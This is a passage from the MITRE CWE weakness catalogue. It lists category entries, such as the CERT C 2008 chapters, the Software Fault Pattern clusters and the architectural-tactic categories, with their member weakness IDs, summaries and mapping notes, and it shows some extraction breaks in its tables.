HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	134	Use of Externally-Controlled Format String	734	334
HasMember	B	241	Improper Handling of Unexpected Data Type	734	534
HasMember	B	276	Incorrect Default Permissions	734	606
HasMember	V	279	Incorrect Execution-Assigned Permissions	734	611
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	734	793
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	812
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	734	834
HasMember	B	391	Unchecked Error Condition	734	850
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	734	876
HasMember	C	404	Improper Resource Shutdown or Release	734	877
HasMember	B	552	Files or Directories Accessible to External Parties	734	1125
HasMember	C	675	Duplicate Operations on Resource	734	1316
HasMember	B	676	Use of Potentially Dangerous Function	734	1317
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	734	1367

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-22 FIO02-C Canonicalize path names originating from untrusted sources CWE-37 FIO05-C Identify files using multiple file attributes CWE-38 FIO05-C Identify files using multiple file attributes CWE-39 FIO05-C Identify files using multiple file attributes CWE-41 FIO02-C Canonicalize path names originating from untrusted sources CWE-59 FIO02-C Canonicalize path names originating from untrusted sources CWE-62 FIO05-C Identify files using multiple file attributes CWE-64 FIO05-C Identify files using multiple file attributes CWE-65 FIO05-C Identify files using multiple file attributes CWE-67 FIO32-C Do not perform operations on devices that are only appropriate for files CWE-119 FIO37-C Do not assume character data has been read CWE-134 FIO30-C Exclude user input from format strings CWE-134 FIO30-C Exclude user input from format strings CWE-241 FIO37-C Do not assume character data has been read CWE-276 FIO06-C Create files with appropriate access permissions CWE-279 FIO06-C Create files with appropriate access permissions CWE-362 FIO31-C Do not simultaneously open the same file multiple times CWE-367 FIO01-C Be careful using functions that use file names for identification CWE-379 FIO15-C Ensure that file operations are performed in a secure directory CWE-379 FIO43-C Do not create temporary files in shared directories CWE-391 FIO04-C Detect and handle input and output errors CWE-391 FIO33-C Detect and handle input output errors resulting in undefined behavior CWE-403 FIO42-C Ensure files are properly closed when they are no longer needed CWE-404 FIO42-C Ensure files are properly closed when they are no longer needed CWE-552 FIO15-C Ensure that file operations are performed in a secure directory CWE-675 FIO31-C Do not simultaneously open the same file multiple times CWE-676 FIO01-C Be careful using functions that use file names for identification CWE-686 FIO00-C Take care when creating format strings CWE-732 FIO06-C Create files with appropriate access permissions

Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)

Category ID : 744 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	426	Untrusted Search Path	734	917
HasMember	B	462	Duplicate Key in Associative List (Alist)	734	983
HasMember	C	705	Incorrect Control Flow Scoping	734	1359

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 ENV03-C Sanitize the environment when invoking external programs CWE-78 ENV04-C Do not call system() if you do not need a command processor CWE-88 ENV03-C Sanitize the environment when invoking external programs CWE-88 ENV04-C Do not call system() if you do not need a command processor CWE-119 ENV01-C Do not make assumptions about the size of an environment variable CWE-426 ENV03-C Sanitize the environment when invoking external programs CWE-462 ENV02-C Beware of multiple environment variables with the same effective name CWE-705 ENV32-C All atexit handlers must return normally

Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)

Category ID : 745 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030

Nature	Type	ID	Name	V	Page
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	734	1021
HasMember	C	662	Improper Synchronization	734	1288

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-432 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-479 SIG30-C Call only asynchronous-safe functions within signal handlers CWE-479 SIG32-C Do not call longjmp() from inside a signal handler CWE-479 SIG33-C Do not recursively invoke the raise() function CWE-479 SIG34-C Do not call signal() from within interruptible signal handlers CWE-662 SIG00-C Mask signals handled by noninterruptible signal handlers CWE-662 SIG31-C Do not access or modify shared objects in signal handlers CWE-828 SIG31-C Do not access or modify shared objects in signal handlers

Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)

Category ID : 746 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	20	Improper Input Validation	734	19
HasMember	B	391	Unchecked Error Condition	734	850
HasMember	B	544	Missing Standardized Error Handling Mechanism	734	1117
HasMember	B	676	Use of Potentially Dangerous Function	734	1317
HasMember	C	705	Incorrect Control Flow Scoping	734	1359

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-391 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-544 ERR00-C Adopt and implement a consistent and comprehensive error-handling policy CWE-676 ERR07-C Prefer functions that support error checking over equivalent functions that don't CWE-705 ERR04-C Choose an appropriate termination strategy

Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)

Category ID : 747 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	14	Compiler Removal of Code to Clear Buffers	734	14
HasMember	C	20	Improper Input Validation	734	19
HasMember	V	176	Improper Handling of Unicode Encoding	734	407
HasMember	C	330	Use of Insufficiently Random Values	734	730
HasMember	B	480	Use of Incorrect Operator	734	1023
HasMember	V	482	Comparing instead of Assigning	734	1029
HasMember	B	561	Dead Code	734	1133
HasMember	V	563	Assignment to Variable without Use	734	1137
HasMember	B	570	Expression is Always False	734	1147
HasMember	B	571	Expression is Always True	734	1150
HasMember	P	697	Incorrect Comparison	734	1350
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-14 MSC06-C Be aware of compiler optimization when dealing with sensitive data CWE-20 MSC08-C Library functions should validate their parameters CWE-176 MSC10-C Character Encoding - UTF8 Related Issues CWE-330 MSC30-C Do not use the rand() function for generating pseudorandom numbers CWE-480 MSC02-C Avoid errors of omission CWE-480 MSC03-C Avoid errors of addition CWE-482 MSC02-C Avoid errors of omission CWE-561 MSC07-C Detect and remove dead code CWE-563 MSC00-C Compile cleanly at high warning levels CWE-570 MSC00-C Compile cleanly at high warning levels CWE-571 MSC00-C Compile cleanly at high warning levels CWE-697 MSC31-C Ensure that return values are compared against the proper type CWE-704 MSC31-C Ensure that return values are compared against the proper type CWE-758 MSC14-C Do not introduce unnecessary platform dependencies CWE-758 MSC15-C Do not depend on undefined behavior

Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)

Category ID : 748 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) appendix of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	106
HasMember	B	170	Improper Null Termination	734	395
HasMember	B	242	Use of Inherently Dangerous Function	734	536
HasMember	B	272	Least Privilege Violation	734	598
HasMember	B	273	Improper Check for Dropped Privileges	734	601
HasMember	B	363	Race Condition Enabling Link Following	734	801
HasMember	B	366	Race Condition within a Thread	734	809
HasMember	B	562	Return of Stack Variable Address	734	1136
HasMember	C	667	Improper Locking	734	1299
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	696	Incorrect Behavior Order	734	1348

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-59 POS01-C Check for the existence of links when dealing with files CWE-170 POS30-C Use the readlink() function properly CWE-242 POS33-C Do not use vfork() CWE-272 POS02-C Follow the principle of least privilege CWE-273 POS37-C Ensure that privilege relinquishment is successful CWE-363 POS35-C Avoid race conditions while checking for the existence of a symbolic link CWE-366 POS00-C Avoid race conditions with multiple threads CWE-562 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-667 POS31-C Do not unlock or destroy another thread's mutex CWE-686 POS34-C Do not call putenv() with a pointer to an automatic variable as the argument CWE-696 POS36-C Observe correct revocation order while relinquishing privileges

Category-840: Business Logic Errors

Category ID : 840 **Status:** Incomplete

Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	283	Unverified Ownership	699	618

HasMember	B	708	Incorrect Ownership Assignment	699	1363
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1422
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1525
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1550
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1559

Notes

Research Gap

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID : 937 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

HasMember	B	603	Use of Client-Side Authentication	888	1204

Category-948: SFP Secondary Cluster: Digital Certificate

Category ID : 948 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	888	653
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	888	656
HasMember	V	298	Improper Validation of Certificate Expiration	888	659
HasMember	B	299	Improper Check for Certificate Revocation	888	661
HasMember	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	888	1183
HasMember	V	599	Missing Validation of OpenSSL Certificate	888	1192

Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID : 949 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	V	293	Using Referer Field for Authentication	888	645
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	888	668
HasMember	C	345	Insufficient Verification of Data Authenticity	888	758
HasMember	B	346	Origin Validation Error	888	760
HasMember	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	769
HasMember	B	360	Trust of System Event Data	888	792
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	1124
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	888	1140
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1269

Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID : 950 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	V	258	Empty Password in Configuration File	888	567
HasMember	V	259	Use of Hard-coded Password	888	569
HasMember	V	321	Use of Hard-coded Cryptographic Key	888	709
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	888	1120

Category-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID : 951 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	262	Not Using Password Aging	888	577

HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	888	1392

Category-958: SFP Secondary Cluster: Broken Cryptography

Category ID : 958 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1927
HasMember	B	325	Missing Required Cryptographic Step	888	717
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	888	720
HasMember	B	328	Reversible One-Way Hash	888	726
HasMember	V	759	Use of a One-Way Hash without a Salt	888	1395
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	888	1399

Category-959: SFP Secondary Cluster: Weak Cryptography

Category ID : 959 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1927
HasMember	B	261	Weak Encoding for Password	888	575
HasMember	B	322	Key Exchange without Entity Authentication	888	711
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	888	713
HasMember	B	324	Use of a Key Past its Expiration Date	888	715
HasMember	C	326	Inadequate Encryption Strength	888	718
HasMember	V	329	Not Using a Random IV with CBC Mode	888	729
HasMember	B	347	Improper Verification of Cryptographic Signature	888	764
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	1253

Category-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID : 960 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1922
HasMember	B	396	Declaration of Catch for Generic Exception	888	860
HasMember	B	397	Declaration of Throws for Generic Exception	888	862

Category-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID : 961 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1922
HasMember	B	392	Missing Report of Error Condition	888	853
HasMember	B	393	Return of Wrong Status Code	888	854
HasMember	B	455	Non-exit on Failed Initialization	888	969
HasMember	B	460	Improper Cleanup on Thrown Exception	888	981
HasMember	B	544	Missing Standardized Error Handling Mechanism	888	1117
HasMember	B	584	Return Inside Finally Block	888	1171
HasMember	C	636	Not Failing Securely ('Failing Open')	888	1245

Nature	Type	ID	Name	V	Page
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	888	1355

Category-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID : 962 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).

Membership

Category-964: SFP Secondary Cluster: Exposure Temporary File

Category ID : 964 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	C	377	Insecure Temporary File	888	829
HasMember	B	378	Creation of Temporary File With Insecure Permissions	888	832
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	888	834

Category-965: SFP Secondary Cluster: Insecure Session Management

Category ID : 965 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	888	2
HasMember	B	488	Exposure of Data Element to Wrong Session	888	1040
HasMember	B	524	Use of Cache Containing Sensitive Information	888	1096

Category-966: SFP Secondary Cluster: Other Exposures

Category ID : 966 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	453	Insecure Default Variable Initialization	888	966
HasMember	B	487	Reliance on Package-level Scope	888	1038
HasMember	V	492	Use of Inner Class Containing Sensitive Data	888	1046
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	888	1097
HasMember	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	888	1220
HasMember	V	651	Exposure of WSDL File Containing Sensitive Information	888	1276

Category-967: SFP Secondary Cluster: State Disclosure

Category ID : 967 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	202	Exposure of Sensitive Information Through Data Queries	888	476

HasMember	B	208	Observable Timing Discrepancy	888	488

Category-968: SFP Secondary Cluster: Covert Channel

Category ID : 968 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1927
HasMember	B	385	Covert Timing Channel	888	842
HasMember	C	514	Covert Channel	888	1086
HasMember	B	515	Covert Storage Channel	888	1087

Category-969: SFP Secondary Cluster: Faulty Memory Release

Category ID : 969 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	891	SFP Primary Cluster: Memory Management	888	1923
HasMember	V	415	Double Free	888	901
HasMember	V	590	Free of Memory not on the Heap	888	1179
HasMember	V	761	Free of Pointer not at Start of Buffer	888	1402
HasMember	V	762	Mismatched Memory Management Routines	888	1405
HasMember	B	763	Release of Invalid Pointer or Reference	888	1408

Category-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID : 970 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	C	118	Incorrect Access of Indexable Resource ('Range Error')	888	270
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	888	280
HasMember	V	121	Stack-based Buffer Overflow	888	289
HasMember	V	122	Heap-based Buffer Overflow	888	293
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	888	298
HasMember	V	126	Buffer Over-read	888	305
HasMember	V	127	Buffer Under-read	888	308

Category-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID : 971 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	V	416	Use After Free	888	904
HasMember	B	476	NULL Pointer Dereference	888	1009
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	888	1177

Category-972: SFP Secondary Cluster: Faulty String Expansion

Category ID : 972 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	888	1459

Category-973: SFP Secondary Cluster: Improper NULL Termination

Category ID : 973 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	B	170	Improper Null Termination	888	395

Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID : 974 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1923
HasMember	B	131	Incorrect Calculation of Buffer Size	888	325
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	888	339
HasMember	C	251	Often Misused: String Management	888	1854
HasMember	V	467	Use of sizeof() on a Pointer Type	888	989

Category-975: SFP Secondary Cluster: Architecture

Category ID : 975 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1928

Category-1005: 7PK - Input Validation and Representation

Category ID : 1005 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."

Category-1006: Bad Coding Practices

Category ID : 1006 **Status:** Draft

Summary

Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully

developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

Category-1009: Audit

Category ID : 1009 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.

Category-1010: Authenticate Actors

Category ID : 1010 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Category-1011: Authorize Actors

Category ID : 1011 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.

Category-1012: Cross Cutting

Category ID : 1012 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.

Category-1013: Encrypt Data

Category ID : 1013 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.

Category-1014: Identify Actors

Category ID : 1014 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.

Category-1015: Limit Access

Category ID : 1015 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

Category-1016: Limit Exposure

Category ID : 1016 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.

Category-1017: Lock Computer

Category ID : 1017 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.

Category-1018: Manage User Sessions

Category ID : 1018 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.

Category-1019: Validate Inputs

Category ID : 1019 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.

Category-1020: Verify Message Integrity

Category ID : 1020 **Status:** Draft

Summary

Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.

Nature	Type	ID	Name	V	Page
HasMember	V	548	Exposure of Information Through Directory Listing	1026	1121

Notes

Relationship

While the OWASP document maps to CWE-2 and CWE-388, these are not appropriate for mapping, as they are high-level categories that are only intended for the Seven Pernicious Kingdoms view (CWE-700).

References

Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Category ID : 1035 **Status:** Incomplete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2049

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

Category-1198: Privilege Separation and Access Control Issues

Category ID : 1198 **Status:** Draft

Summary

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

Membership

Nature	Type	ID	Name	V	Page

Category-1199: General Circuit and Logic Design Concerns

Category ID : 1199 **Status:** Draft

Summary

Weaknesses in this category are related to hardware-circuit design and logic (e.g., CMOS transistors, finite state machines, and registers) as well as issues related to hardware description languages such as System Verilog and VHDL.

Membership

Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems

Category ID : 1203 **Status:** Draft

Summary

Weaknesses in this category are related to hardware security problems that apply to peripheral devices, IO interfaces, on-chip interconnects, network-on-chip (NoC), and buses. For example, this category includes issues related to design of hardware interconnect and/or protocols such as PCIe, USB, SMBUS, general-purpose IO pins, and user-input peripherals such as mouse and keyboard.

Category-1206: Power, Clock, and Reset Concerns

Category ID : 1206 **Status:** Draft

Summary

Weaknesses in this category are related to system power, voltage, current, temperature, clocks, system state saving/restoring, and resets at the platform and SoC level.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056

Category-1210: Audit / Logging Errors

Category ID : 1210 **Status:** Draft

Summary

Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.

Category-1211: Authentication Errors

Category ID : 1211 **Status:** Draft

Summary

Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.

Category-1212: Authorization Errors

Category ID : 1212 **Status:** Draft

Summary

Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.

Category-1214: Data Integrity Issues

Category ID : 1214 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource

files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.

HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	699	1532
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1606

Category-1215: Data Validation Issues

Category ID : 1215 **Status:** Draft

Summary

